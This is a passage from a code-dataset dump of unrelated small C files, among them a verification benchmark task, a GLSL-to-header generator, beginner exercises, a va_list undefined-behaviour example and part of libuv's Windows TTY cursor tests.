0x01, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x00, 0x01, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x06, 0x03, 0x06, 0x03, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x06, 0x03, 0x04, 0x02, 0x02, 0x01, 0x0E, 0x0A, 0x0A, 0x0A, 0x02, 0x03, 0x05, 0x05, 0x06, 0x03, 0x0E, 0x0A, 0x02, 0x0A, 0x0A, 0x03, 0x0E, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x02, 0x03, }; /* end of mazefile */
the_stack_data/1237565.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } } #define N 125 int main( ) { int a[N]; int b[N]; int i; for( i = 0 ; i < N ; i++ ) { b[i] = a[N-i-1]; } int x; for ( x = 0 ; x < N ; x++ ) { __VERIFIER_assert( a[x] == b[N-x-1] ); } return 0; }
the_stack_data/190768789.c
#define _GNU_SOURCE 500 #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <getopt.h> #include <string.h> struct option options[] = { { .name = "help", .has_arg = 0, .flag = NULL, .val = 'h' }, { .name = "depfile", .has_arg = 1, .flag = NULL, .val = 'd' } }; static const char* warning_comment = "/*\n" " * AUTO-GENERATED CODE -- DO NOT EDIT\n" " * This file is generated by glslc, and may be regenerated in the future.\n" " * Please refrain from modifying or committing this file to source control.\n" "*/\n"; ssize_t read_line(char** ptr, size_t* len, FILE* f) { ssize_t read = 0; do { if(*len <= read || *ptr == 0) { *len = (*len == 0 || *ptr == 0) ? 8 : *len * 2; *ptr = realloc(*ptr, *len); } char c = fgetc(f); (*ptr)[read] = c; read++; if(c == '\0' || c == '\n') break; } while(!feof(f)); return read; } void print_info() { printf("Usage: glslc [OPTIONS] input\n\n"); printf("Options:\n"); printf(" -h, --help Show this message\n"); printf(" -o [filepath] Print to filepath instead of stderr\n"); } char* gen_define_name(const char* filename) { char* name = calloc(strlen(filename), sizeof(char)); bool start_content = false; for(int i = 0; i < strlen(filename); ++i) { if(filename[i] >= 'A' && filename[i] <= 'Z') { name[i] = filename[i]; start_content = true; } else if(filename[i] >= 'a' && filename[i] <= 'z') { name[i] = filename[i] - 32; start_content = true; } else if(filename[i] >= '0' && filename[i] <= '9' && start_content) name[i] = filename[i]; else name[i] = '_'; } return name; } char* gen_var_name(const char* filename) { char* name = calloc(strlen(filename), sizeof(char)); bool start_content = false; for(int i = 0; i < strlen(filename); ++i) { if(filename[i] >= 'A' && filename[i] <= 'Z') { name[i] = filename[i] + 32; start_content = true; } else if(filename[i] >= 'a' && filename[i] <= 'z') { name[i] = filename[i]; start_content = true; } else if(filename[i] >= '0' && filename[i] <= '9' && start_content) name[i] = filename[i]; else name[i] = '_'; } return name; } void extract_line(const char* line, ssize_t len, char** output) { bool skipping_ws = false; int i = 0; for(i = 0; i < len; ++i) { if(line[i] == ':' && !skipping_ws) { skipping_ws = true; continue; } if(skipping_ws && line[i] != ' ' && line[i] != '\t') { break; } } if(i == len) { fprintf(stderr, "Failed to parse shader definition file: Line \"%s\" is malformed", line); exit(1); } *output = calloc(len - i, sizeof(char)); memcpy(*output, line + (i * sizeof(char)), (len - i - 1) * sizeof(char)); } void make_path_relative(const char* base_path, char** rel_path) { char* pos = strrchr(base_path, '/'); if(pos) { size_t temp_len = strlen(*rel_path); char* temp = *rel_path; size_t new_len = temp_len + ((pos - base_path) / sizeof(char)) + 2; *rel_path = calloc(new_len, sizeof(char)); memcpy(*rel_path, base_path, (pos - base_path + 1) * sizeof(char)); strncat(*rel_path, temp, temp_len); free(temp); } } void parse_definitions(const char* filename, char** vs, char** fs, char** gs, char** ts, char** name, const char* deppath) { FILE* infile = fopen(filename, "r"); if(!infile) { fprintf(stderr, "Error: Can't open shader definition file %s: %s\n", filename, strerror(errno)); exit(1); } while(true) { char* line = NULL; size_t len = 0; ssize_t read = read_line(&line, &len, infile); if(read == -1 || read < 4) { free(line); fclose(infile); return; } if(!strncmp(line, "vert", 4)) { extract_line(line, read, vs); if(*vs != NULL && *vs[0] != '/') make_path_relative(filename, vs); } else if(!strncmp(line, "frag", 4)) { extract_line(line, read, fs); if(*fs != NULL && *fs[0] != '/') make_path_relative(filename, fs); } else if(!strncmp(line, "geom", 4)) { extract_line(line, read, gs); if(*gs != NULL && *gs[0] != '/') make_path_relative(filename, gs); } else if(!strncmp(line, "tess", 4)) { extract_line(line, read, gs); if(*ts != NULL && *ts[0] != '/') make_path_relative(filename, ts); } else if(!strncmp(line, "name", 4)) { extract_line(line, read, name); } else { fprintf(stderr, "Failed to parse shader definition file %s: Unkown option \"%.4s\"\n", filename, line); free(line); fclose(infile); exit(1); } free(line); } } void start_file(FILE* output, const char* filename) { char* defname = gen_define_name(filename); fprintf(output, "%s\n", warning_comment); fprintf(output, "#ifndef %s_GLSL\n#define %s_GLSL\n", defname, defname); free(defname); } void write_file(FILE* output, const char* infilename, const char* filename, const char* suffix) { FILE* infile = fopen(infilename, "r"); if(!infile) { fprintf(stderr, "Error: Can't open file %s for reading: %s\n", infilename, strerror(errno)); exit(1); } if(fseek(infile, 0L, SEEK_END) == -1) { fprintf(stderr, "Error reading %s: %s\n", filename, strerror(errno)); exit(1); } long len = ftell(infile); rewind(infile); char* ptr = calloc(len, sizeof(char)); size_t read = fread(ptr, sizeof(char), len, infile); if(read != len) fprintf(stderr, "Failed to read complete file: %ld/%ld bytes read.\n", read, len); fclose(infile); char* varname = gen_var_name(filename); long trailing_cursor = 0; long linecount = 0; for(long i = 0; i < len; ++i) { if(ptr[i] == '\n') { if(i - trailing_cursor > 0) { linecount++; } trailing_cursor = i + 1; } } if(linecount == 0) { fprintf(stderr, "Error: file '%s' has no lines", filename); free(varname); return; } char** lines = calloc(linecount, sizeof(char*)); long line_cursor = 0; trailing_cursor = 0; for(long i = 0; i < len; ++i) { if(ptr[i] == '\n') { if(i - trailing_cursor > 0) { lines[line_cursor] = calloc(i - trailing_cursor + 1, sizeof(char)); memcpy(lines[line_cursor], ptr + (trailing_cursor * sizeof(char)), i - trailing_cursor); line_cursor++; } trailing_cursor = i + 1; } } fprintf(output, "const char* %s_%s_data[]=\n{\n", varname, suffix); for(long i = 0; i < linecount; ++i) fprintf(output, " \"%s\\n\"\n", lines[i]); fprintf(output, "};\n"); free(varname); for(long i = 0; i < linecount; ++i) free(lines[i]); free(lines); } void end_file(FILE* output, const char* filename, bool has_vert, bool has_frag, bool has_geom, bool has_tess) { if(has_vert && has_frag) { if(has_geom) fprintf(output, "#define compile_shader_%s() shader_new_vgf(%s_vs_data, %s_gs_data, %s_fs_data)\n", filename, filename, filename, filename); else fprintf(output, "#define compile_shader_%s() shader_new_vf(%s_vs_data, %s_fs_data)\n", filename, filename, filename); } fprintf(output, "#endif\n"); } int main(int argc, char* argv[]) { if(argc <= 1) { print_info(); return 0; } const char* output = NULL; const char* deppath = NULL; int c; while((c = getopt_long(argc, argv, "hd:o:", options, NULL)) != -1) { switch(c) { case '?': case 'h': print_info(); return 0; case 'd': deppath = optarg; fprintf(stderr, "d %s\n", deppath); break; case 'o': output = optarg; fprintf(stderr, "o %s\n", output); break; default: fprintf(stderr, "Failed to parse option 0%o\n", c); } } if(optind >= argc) { fprintf(stderr, "Error: No output file specified\n"); print_info(); return 1; } char* vsfile = NULL; char* fsfile = NULL; char* gsfile = NULL; char* tsfile = NULL; char* name = NULL; parse_definitions(argv[optind], &vsfile, &fsfile, &gsfile, &tsfile, &name, deppath); FILE* outfile = output == NULL ? stdout : fopen(output, "w"); if(!vsfile && !fsfile && !gsfile && !tsfile) { fprintf(stderr, "Error: Shader definition file contains no shaders\n"); } FILE* depfile = deppath ? fopen(deppath, "w") : NULL; if(!depfile) { fprintf(stderr, "Error: Can't open shader dependency file %s: %s\n", deppath, strerror(errno)); exit(1); } if(depfile) fprintf(depfile, "%s: ", output); const char* fn = name == NULL ? output == NULL ? argv[optind] : output : name; start_file(outfile, fn); if(vsfile) { write_file(outfile, vsfile, fn, "vs"); fprintf(depfile, "%s ", vsfile); } if(fsfile) { write_file(outfile, fsfile, fn, "fs"); fprintf(depfile, "%s ", fsfile); } if(gsfile) { write_file(outfile, gsfile, fn, "gs"); fprintf(depfile, "%s ", gsfile); } if(tsfile) { write_file(outfile, tsfile, fn, "ts"); fprintf(depfile, "%s ", tsfile); } end_file(outfile, fn, vsfile, fsfile, gsfile, tsfile); fclose(outfile); if(depfile) fclose(depfile); return 0; }
the_stack_data/90761543.c
extern void pam_end (void); void dumpme (void) { pam_end (); }
the_stack_data/187642901.c
#include <stdio.h> int main(void) { printf("Hello, World!\n"); return 0; }
the_stack_data/145452170.c
int main(){for(;;);return 0;}
the_stack_data/211081970.c
/* * Write a function that takes two int arguments: a value and a bit position. * Have the function return 1 if that particular bit position is 1, and have it * return 0 otherwise. Test the function in a program. */ #include <stdio.h> #include <stdlib.h> int n_bit_on(int n, int bitnum); int main (void) { int n, bitnum; printf("%d %d %d %d\n", n_bit_on(15, 0), n_bit_on(15, 1), n_bit_on(15, 2), n_bit_on(15, 3)); printf("%d\n", n_bit_on(16, 0)); return 0; } int n_bit_on(int n, int bitnum) { if ((n >> bitnum) % 2 == 1) return 1; return 0; }
the_stack_data/234517002.c
#include <stdio.h> void scilab_rt_contour_i2d2d2d0d0d0s0_(int in00, int in01, int matrixin0[in00][in01], int in10, int in11, double matrixin1[in10][in11], int in20, int in21, double matrixin2[in20][in21], double scalarin0, double scalarin1, double scalarin2, char* scalarin3) { int i; int j; int val0 = 0; double val1 = 0; double val2 = 0; for (i = 0; i < in00; ++i) { for (j = 0; j < in01; ++j) { val0 += matrixin0[i][j]; } } printf("%d", val0); for (i = 0; i < in10; ++i) { for (j = 0; j < in11; ++j) { val1 += matrixin1[i][j]; } } printf("%f", val1); for (i = 0; i < in20; ++i) { for (j = 0; j < in21; ++j) { val2 += matrixin2[i][j]; } } printf("%f", val2); printf("%f", scalarin0); printf("%f", scalarin1); printf("%f", scalarin2); printf("%s", scalarin3); }
the_stack_data/100493.c
#include <stdarg.h> #include <stdio.h> void print_vararg(int n, va_list v) { for (int i = 0; i < n; ++i) { if (i > 0) { printf(", "); } printf("%d", va_arg(v, int)); } printf("\n"); } void multi_vararg(int n, ...) { va_list v; va_start(v, n); print_vararg(n, v); print_vararg(n, v); // the value of v is undefined for this call va_end(v); va_start(v, n); print_vararg(n, v); va_end(v); } int main() { multi_vararg(5, 8, 6, 4, 2, 0, 1, 3, 5, 7, 9, 4, 5, 6, 7, 8 ); return 0; }
the_stack_data/190769401.c
#include <stdio.h> #define VECMAX 100 int main(){ int n, i, vec[VECMAX],k; scanf("%d", &n); for(i = 0;i<n;i++){ scanf("%d", &vec[i]); } for(i=0;i<n;i++){ for(k=0;k<vec[i];k++){ printf("*"); } printf("\n"); } return 0; }
the_stack_data/62633.c
extern volatile int g; extern void method(); int main() { g++; method(); while(1); return 0; }
the_stack_data/45175.c
/*C program to find length of string without string.h*/ #include<stdio.h> int main() { char s[100];int i; //Declaration printf("Enter a string:\n"); scanf(" %[^\n]s",s); //Input string for(i=0;s[i]!='\0';i++); //Loop to count characters in string printf("\nLength of Given String is: %d",i); //Output return 0; } //End of program
the_stack_data/90763810.c
/* Copyright libuv project contributors. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #ifdef _WIN32 #include "task.h" #include "uv.h" #include <io.h> #include <windows.h> #include <errno.h> #include <string.h> #define ESC "\033" #define CSI ESC "[" #define ST ESC "\\" #define BEL "\x07" #define HELLO "Hello" #define FOREGROUND_WHITE (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE) #define FOREGROUND_BLACK 0 #define FOREGROUND_YELLOW (FOREGROUND_RED | FOREGROUND_GREEN) #define FOREGROUND_CYAN (FOREGROUND_GREEN | FOREGROUND_BLUE) #define FOREGROUND_MAGENTA (FOREGROUND_RED | FOREGROUND_BLUE) #define BACKGROUND_WHITE (BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE) #define BACKGROUND_BLACK 0 #define BACKGROUND_YELLOW (BACKGROUND_RED | BACKGROUND_GREEN) #define BACKGROUND_CYAN (BACKGROUND_GREEN | BACKGROUND_BLUE) #define BACKGROUND_MAGENTA (BACKGROUND_RED | BACKGROUND_BLUE) #define F_INTENSITY 1 #define FB_INTENSITY 2 #define B_INTENSITY 5 #define INVERSE 7 #define F_INTENSITY_OFF1 21 #define F_INTENSITY_OFF2 22 #define B_INTENSITY_OFF 25 #define INVERSE_OFF 27 #define F_BLACK 30 #define F_RED 31 #define F_GREEN 32 #define F_YELLOW 33 #define F_BLUE 34 #define F_MAGENTA 35 #define F_CYAN 36 #define F_WHITE 37 #define F_DEFAULT 39 #define B_BLACK 40 #define B_RED 41 #define B_GREEN 42 #define B_YELLOW 43 #define B_BLUE 44 #define B_MAGENTA 45 #define B_CYAN 46 #define B_WHITE 47 #define B_DEFAULT 49 #define CURSOR_SIZE_SMALL 25 #define CURSOR_SIZE_MIDDLE 50 #define CURSOR_SIZE_LARGE 100 struct screen_info { CONSOLE_SCREEN_BUFFER_INFO csbi; int top; int width; int height; int length; WORD default_attr; }; struct captured_screen { char* text; WORD* attributes; struct screen_info si; }; static void get_screen_info(uv_tty_t* tty_out, struct screen_info* si) { ASSERT(GetConsoleScreenBufferInfo(tty_out->handle, &(si->csbi))); si->width = si->csbi.dwSize.X; si->height = si->csbi.srWindow.Bottom - si->csbi.srWindow.Top + 1; si->length = si->width * si->height; si->default_attr = si->csbi.wAttributes; si->top = si->csbi.srWindow.Top; } static void set_cursor_position(uv_tty_t* tty_out, COORD pos) { HANDLE handle = tty_out->handle; CONSOLE_SCREEN_BUFFER_INFO info; ASSERT(GetConsoleScreenBufferInfo(handle, &info)); pos.X -= 1; pos.Y += info.srWindow.Top - 1; ASSERT(SetConsoleCursorPosition(handle, pos)); } static void get_cursor_position(uv_tty_t* tty_out, COORD* cursor_position) { HANDLE handle = tty_out->handle; CONSOLE_SCREEN_BUFFER_INFO info; ASSERT(GetConsoleScreenBufferInfo(handle, &info)); cursor_position->X = info.dwCursorPosition.X + 1; cursor_position->Y = info.dwCursorPosition.Y - info.srWindow.Top + 1; } static void set_cursor_to_home(uv_tty_t* tty_out) { COORD origin = {1, 1}; set_cursor_position(tty_out, origin); } static CONSOLE_CURSOR_INFO get_cursor_info(uv_tty_t* tty_out) { HANDLE handle = tty_out->handle; CONSOLE_CURSOR_INFO info; ASSERT(GetConsoleCursorInfo(handle, &info)); return info; } static void set_cursor_size(uv_tty_t* tty_out, DWORD size) { CONSOLE_CURSOR_INFO info = get_cursor_info(tty_out); info.dwSize = size; ASSERT(SetConsoleCursorInfo(tty_out->handle, &info)); } static DWORD get_cursor_size(uv_tty_t* tty_out) { return get_cursor_info(tty_out).dwSize; } static void set_cursor_visibility(uv_tty_t* tty_out, BOOL visible) { CONSOLE_CURSOR_INFO info = get_cursor_info(tty_out); info.bVisible = visible; ASSERT(SetConsoleCursorInfo(tty_out->handle, &info)); } static BOOL get_cursor_visibility(uv_tty_t* tty_out) { return get_cursor_info(tty_out).bVisible; } static BOOL is_scrolling(uv_tty_t* tty_out, struct screen_info si) { CONSOLE_SCREEN_BUFFER_INFO info; ASSERT(GetConsoleScreenBufferInfo(tty_out->handle, &info)); return info.srWindow.Top != si.top; } static void write_console(uv_tty_t* tty_out, char* src) { int r; uv_buf_t buf; buf.base = src; buf.len = strlen(buf.base); r = uv_try_write((uv_stream_t*) tty_out, &buf, 1); ASSERT(r >= 0); ASSERT((unsigned int) r == buf.len); } static void setup_screen(uv_tty_t* tty_out) { DWORD length, number_of_written; COORD origin; CONSOLE_SCREEN_BUFFER_INFO info; ASSERT(GetConsoleScreenBufferInfo(tty_out->handle, &info)); length = info.dwSize.X * (info.srWindow.Bottom - info.srWindow.Top + 1); origin.X = 0; origin.Y = info.srWindow.Top; ASSERT(FillConsoleOutputCharacter( tty_out->handle, '.', length, origin, &number_of_written)); ASSERT(length == number_of_written); } static void clear_screen(uv_tty_t* tty_out, struct screen_info* si) { DWORD length, number_of_written; COORD origin; CONSOLE_SCREEN_BUFFER_INFO info; ASSERT(GetConsoleScreenBufferInfo(tty_out->handle, &info)); length = (info.srWindow.Bottom - info.srWindow.Top + 1) * info.dwSize.X - 1; origin.X = 0; origin.Y = info.srWindow.Top; FillConsoleOutputCharacterA( tty_out->handle, ' ', length, origin, &number_of_written); ASSERT(length == number_of_written); FillConsoleOutputAttribute( tty_out->handle, si->default_attr, length, origin, &number_of_written); ASSERT(length == number_of_written); } static void free_screen(struct captured_screen* cs) { free(cs->text); cs->text = NULL; free(cs->attributes); cs->attributes = NULL; } static void capture_screen(uv_tty_t* tty_out, struct captured_screen* cs) { DWORD length; COORD origin; get_screen_info(tty_out, &(cs->si)); origin.X = 0; origin.Y = cs->si.csbi.srWindow.Top; cs->text = malloc(cs->si.length * sizeof(*cs->text)); ASSERT_NOT_NULL(cs->text); cs->attributes = (WORD*) malloc(cs->si.length * sizeof(*cs->attributes)); ASSERT_NOT_NULL(cs->attributes); ASSERT(ReadConsoleOutputCharacter( tty_out->handle, cs->text, cs->si.length, origin, &length)); ASSERT((unsigned int) cs->si.length == length); ASSERT(ReadConsoleOutputAttribute( tty_out->handle, cs->attributes, cs->si.length, origin, &length)); ASSERT((unsigned int) cs->si.length == length); } static void make_expect_screen_erase(struct captured_screen* cs, COORD cursor_position, int dir, BOOL entire_screen) { /* beginning of line */ char* start; char* end; start = cs->text + cs->si.width * (cursor_position.Y - 1); if (dir == 0) { if (entire_screen) { /* erase to end of screen */ end = cs->text + cs->si.length; } else { /* erase to end of line */ end = start + cs->si.width; } /* erase from postition of cursor */ start += cursor_position.X - 1; } else if (dir == 1) { /* erase to position of cursor */ end = start + cursor_position.X; if (entire_screen) { /* erase form beginning of screen */ start = cs->text; } } else if (dir == 2) { if (entire_screen) { /* erase form beginning of screen */ start = cs->text; /* erase to end of screen */ end = cs->text + cs->si.length; } else { /* erase to end of line */ end = start + cs->si.width; } } else { ASSERT(FALSE); } ASSERT(start < end); ASSERT(end - cs->text <= cs->si.length); for (; start < end; start++) { *start = ' '; } } static void make_expect_screen_write(struct captured_screen* cs, COORD cursor_position, const char* text) { /* postion of cursor */ char* start; start = cs->text + cs->si.width * (cursor_position.Y - 1) + cursor_position.X - 1; size_t length = strlen(text); size_t remain_length = cs->si.length - (cs->text - start); length = length > remain_length ? remain_length : length; memcpy(start, text, length); } static void make_expect_screen_set_attr(struct captured_screen* cs, COORD cursor_position, size_t length, WORD attr) { WORD* start; start = cs->attributes + cs->si.width * (cursor_position.Y - 1) + cursor_position.X - 1; size_t remain_length = cs->si.length - (cs->attributes - start); length = length > remain_length ? remain_length : length; while (length) { *start = attr; start++; length--; } } static BOOL compare_screen(uv_tty_t* tty_out, struct captured_screen* actual, struct captured_screen* expect) { int line, col; BOOL result = TRUE; int current = 0; ASSERT(actual->text); ASSERT(actual->attributes); ASSERT(expect->text); ASSERT(expect->attributes); if (actual->si.length != expect->si.length) { return FALSE; } if (actual->si.width != expect->si.width) { return FALSE; } if (actual->si.height != expect->si.height) { return FALSE; } while (current < actual->si.length) { if (*(actual->text + current) != *(expect->text + current)) { line = current / actual->si.width + 1; col = current - actual->si.width * (line - 1) + 1; fprintf(stderr, "line:%d col:%d expected character '%c' but found '%c'\n", line, col, *(expect->text + current), *(actual->text + current)); result = FALSE; } if (*(actual->attributes + current) != *(expect->attributes + current)) { line = current / actual->si.width + 1; col = current - actual->si.width * (line - 1) + 1; fprintf(stderr, "line:%d col:%d expected attributes '%u' but found '%u'\n", line, col, *(expect->attributes + current), *(actual->attributes + current)); result = FALSE; } current++; } clear_screen(tty_out, &expect->si); free_screen(expect); free_screen(actual); return result; } static void initialize_tty(uv_tty_t* tty_out) { int r; int ttyout_fd; /* Make sure we have an FD that refers to a tty */ HANDLE handle; uv_tty_set_vterm_state(UV_TTY_UNSUPPORTED); handle = CreateConsoleScreenBuffer(GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CONSOLE_TEXTMODE_BUFFER, NULL); ASSERT(handle != INVALID_HANDLE_VALUE); ttyout_fd = _open_osfhandle((intptr_t) handle, 0); ASSERT(ttyout_fd >= 0); ASSERT(UV_TTY == uv_guess_handle(ttyout_fd)); r = uv_tty_init(uv_default_loop(), tty_out, ttyout_fd, 0); /* Writable. */ ASSERT(r == 0); } static void terminate_tty(uv_tty_t* tty_out) { set_cursor_to_home(tty_out); uv_close((uv_handle_t*) tty_out, NULL); } TEST_IMPL(tty_cursor_up) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor up one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sA", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y - 1 == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor up nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dA", CSI, si.height / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y - si.height / 4 == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor up from Window top does nothing */ cursor_pos_old.X = 1; cursor_pos_old.Y = 1; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sA", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_down) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor down one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sB", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y + 1 == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor down nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dB", CSI, si.height / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y + si.height / 4 == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor down from bottom line does nothing */ cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sB", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_forward) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor forward one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sC", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X + 1 == cursor_pos.X); /* cursor forward nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dC", CSI, si.width / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X + si.width / 4 == cursor_pos.X); /* cursor forward from end of line does nothing*/ cursor_pos_old.X = si.width; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sC", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor forward from end of screen does nothing */ cursor_pos_old.X = si.width; cursor_pos_old.Y = si.height; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sC", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_back) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor back one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sD", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X - 1 == cursor_pos.X); /* cursor back nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dD", CSI, si.width / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X - si.width / 4 == cursor_pos.X); /* cursor back from beginning of line does nothing */ cursor_pos_old.X = 1; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sD", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(cursor_pos_old.X == cursor_pos.X); /* cursor back from top of screen does nothing */ cursor_pos_old.X = 1; cursor_pos_old.Y = 1; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sD", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(1 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_next_line) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor next line one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sE", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y + 1 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); /* cursor next line nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dE", CSI, si.height / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y + si.height / 4 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); /* cursor next line from buttom row moves beginning of line */ cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sE", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y == cursor_pos.Y); ASSERT(1 == cursor_pos.X); 